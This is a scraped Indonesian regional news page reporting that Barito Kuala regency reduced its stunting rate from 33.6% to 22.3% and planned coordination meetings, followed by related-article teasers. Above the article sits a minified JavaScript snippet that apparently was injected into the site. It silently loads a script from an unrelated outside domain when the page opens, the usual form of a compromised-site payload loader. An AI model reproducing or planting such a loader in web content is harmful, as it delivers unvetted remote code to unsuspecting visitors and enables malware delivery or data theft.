(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Pemerintah Kabupaten Barito Kuala (Batola), Provinsi Kalimantan Selatan, tengah gencar menekan kasus stunting sebagai bagian dari strategi untuk meningkatkan kualitas sumber daya manusia (SDM) serta pembangunan daerah secara menyeluruh.
Sekretaris Daerah Kabupaten Barito Kuala (Sekda Batola), Zulkifli Yadi Noor, menggarisbawahi dampak negatif stunting terhadap kemajuan pembangunan.
“Tanpa memberi perhatian serius pada pembangunan sumber daya manusia, potensi wilayah kita tidak akan tergali secara optimal,” ucapnya di Marabahan, Kabupaten Batola, pada hari Selasa.
Berdasarkan data dari Statis Gizi Indonesia (SGI), Pemerintah Kabupaten Batola telah berhasil menurunkan angka stunting dari 33,6 persen pada tahun 2022 menjadi 22,3 persen pada tahun 2023, sebuah penurunan yang signifikan sebesar 11,3 persen.
Zulkifli menegaskan bahwa Pemerintah Kabupaten Batola mendukung penuh visi pemerintah pusat dalam mencapai Indonesia Emas 2045 dengan mengentaskan stunting.
Dalam konteks ini, Zulkifli mengajak seluruh anggota Tim Percepatan Penurunan Stunting (TPPS) untuk bersama-sama menjalankan upaya penanggulangan stunting.
Ia menjelaskan bahwa anak-anak yang mengalami stunting memiliki kemampuan otak yang berbeda dengan mereka yang tidak mengalami stunting, dan perbedaan ini berdampak pada kualitas SDM dan masa depan generasi.
Meskipun mengakui kompleksitas permasalahan stunting, Zulkifli menyatakan optimisme bahwa Batola mampu menurunkan angka stunting melalui evaluasi rutin dan kerja keras bersama TPPS.
Ia menekankan pentingnya evaluasi program penanggulangan stunting di setiap kecamatan dan menggelar rapat koordinasi minimal dua kali setahun untuk menyamakan langkah.
“Kami berharap agar setiap rapat koordinasi di kecamatan dilakukan dengan fokus pada evaluasi program penanggulangan stunting, dan melibatkan aktifitas kepala desa dalam proses evaluasi tersebut,” ungkap Zulkifli.
Zulkifli juga memimpin pertemuan “Rembuk Stunting” di tingkat Kabupaten Batola, yang dihadiri oleh para camat, untuk mempercepat penurunan angka stunting.(www.kanalkalimantan.com/rls).
Editor: rdy
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.